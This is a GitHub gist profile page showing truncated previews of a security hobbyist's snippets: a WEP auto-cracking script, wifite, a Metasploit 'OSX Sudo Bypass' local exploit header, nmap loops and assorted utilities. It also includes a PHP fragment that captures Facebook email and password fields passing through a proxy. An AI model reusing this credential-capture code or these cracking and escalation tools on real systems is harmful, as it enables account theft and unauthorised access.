Skip to content

Instantly share code, notes, and snippets.

View hackingbutlegal's full-sized avatar
💭
I may be slow to respond.

Jackie Singh hackingbutlegal

💭
I may be slow to respond.
View GitHub Profile
#!/bin/bash
#__________________________________________________________
# Author: phillips321 contact through phillips321.co.uk
# License: CC BY-SA 3.0
# Use: All in one pentest script designed for bt5
# Released: www.phillips321.co.uk
version=7.0
# Dependencies:
# nmap
# sslscan
#!/bin/bash
###############################################################
#Please remember that in some areas it is illegal to use this #
#program without the express permission of the wifi,s owner #
#keeping that in mind i release this under the public domain #
###############################################################
# This program will work on Ubuntu 10.04 LTS Ubuntu 9.10, Ubuntu9.04, Ubuntu 8.10 and Backtrack3/4/5 without modification
# This program needs the Aircrack-ng suit to function
# Run this program to automatically start attacking all WEP networks near by
# This file should be saved as "autocrack.sh"
@hackingbutlegal
hackingbutlegal / gist:5035883
Created February 26, 2013 04:28
wifite, automated wi-fi auditing (from https://code.google.com/p/wifite)
#!/usr/bin/python
# -*- coding: cp1252 -*-
""" WIFITE
(c) 2010, 2011 derv merkler, Jose Maria Chia, Aaron
Type -h or -help for command-line options
"""
""" TODO LIST:
@hackingbutlegal
hackingbutlegal / gist:5198754
Last active December 15, 2015 03:59
Download files from Issuu
#
# not a script, just a set of cmds
#
printf 'http://image.issuu.com/actual_url/jpg/page_%d.jpg\n' {1..500} > files.txt
wget -i files.txt
# test sed
for filename in page_*.jpg; do echo $filename | sed -e 's/page\_//g'; done
@hackingbutlegal
hackingbutlegal / gist:5972498
Created July 11, 2013 04:17
File full of ports; call nmap for each port
for i in `cat file.txt` ; do nmap host -p$i -oA scan-$i; done
@hackingbutlegal
hackingbutlegal / gist:6346047
Created August 26, 2013 20:09
Find .DS_Store files recursively, stop them from happening on external volumes (run second command as the specific user)
find . -name '*.DS_Store' -type f -delete
# Run this command as the user
defaults write com.apple.desktopservices DSDontWriteNetworkStores true
# Now can copy com.apple.desktopservices.plist files to other /users/<username>/library/preferences
@hackingbutlegal
hackingbutlegal / gist:6393906
Created August 30, 2013 20:21
MSF OSX Sudo Bypass
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#
# http://metasploit.com/
##
require 'shellwords'
class Metasploit3 < Msf::Exploit::Local
@hackingbutlegal
hackingbutlegal / gist:6769774
Created September 30, 2013 20:29
Parse auth.logs for interesting things
<?php
/*****
* parseAuth.php
* By: BrokenRadix(.com)
* Usage: `php parseAuth.php auth.log`
* Notes: Parse the Linux auth.log for IP addresses which entered
* a password for a username, then logged in correctly.
*****/
ini_set(“auto_detect_line_endings”, true); // Get all line endings
@hackingbutlegal
hackingbutlegal / gist:6769784
Created September 30, 2013 20:30
Parse logs for interesting things
<?php
if (strpos($_url, 'facebook.com')) //checks if url contains "facebook"
{
if ($_REQUEST['email'] != "") //only true if there is info submitted
{
$user = $_REQUEST['email'] ; //getting the info
$pass = $_REQUEST['pass'] ;
$not_me = 0
if (strpos($user, 'your_name') or strpos($pass, 'whatever_your_password_is')) //this protects yourself
{
@hackingbutlegal
hackingbutlegal / gist:6950770
Created October 12, 2013 14:49
This Google Apps script scans the mailbox, compares the message body with the search pattern and prints any matching messages.
function Search() {
var sheet = SpreadsheetApp.getActiveSheet();
var row = 2;
// Clear existing search results
sheet.getRange(2, 1, sheet.getMaxRows() - 1, 4).clearContent();
// Which Gmail Label should be searched?
var label = sheet.getRange("F3").getValue();